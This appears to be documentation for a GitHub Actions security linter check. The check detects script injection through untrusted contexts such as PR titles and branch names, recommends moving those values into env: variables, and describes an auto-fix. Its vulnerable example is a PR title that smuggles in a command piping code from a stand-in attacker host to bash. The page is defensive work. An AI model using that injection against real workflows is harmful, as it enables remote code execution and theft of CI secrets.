Skip to main content

What the check does

Flags steps that interpolate an attacker-controllable GitHub context into code — both in inline run: scripts and in action with: inputs that are evaluated as code (most notably actions/github-script’s script:). The flagged contexts are:
  • github.head_ref — the fork PR’s source branch name, fully attacker-controlled
  • github.event.pull_request.*, github.event.issue(s).*, github.event.comment.*
  • github.event.review.*, github.event.review_comment.*
  • github.event.discussion.*, github.event.discussion_comment.*
  • github.event.head_commit.*, github.event.commits.*
  • github.event.pages.*, github.event.workflow_run.*
GitHub Actions substitutes these expressions into the command/script string before execution, so an attacker who can shape the value (a PR title, branch name, issue body, commit message, review body) can inject arbitrary code.

with:-input injection

The action evaluates script: itself, so hoisting into env: does not help — these findings are flag-only. Read the untrusted value from process.env after passing it via env:, or avoid interpolating it into the input at all.

Vulnerable example

A PR titled "; curl evil.example.com/x | bash; # becomes:

Safe alternative

Lift the untrusted value into the step’s env: block first, then reference it as a normal shell variable:
The env: substitution happens before the shell is invoked, and shells treat $VAR expansion as a single argument — no command parsing happens against the value.

Auto-fix

--fix performs the lift automatically:
  1. For each matched ${{ github.event.* }} expression in the step’s run:,
  2. Create a corresponding entry in the step’s env: block (creates the block if missing), and
  3. Replace the interpolation in the script with $VAR_NAME.
Variable names are derived from the expression path (e.g. github.event.pull_request.titlePR_PULL_REQUEST_TITLE).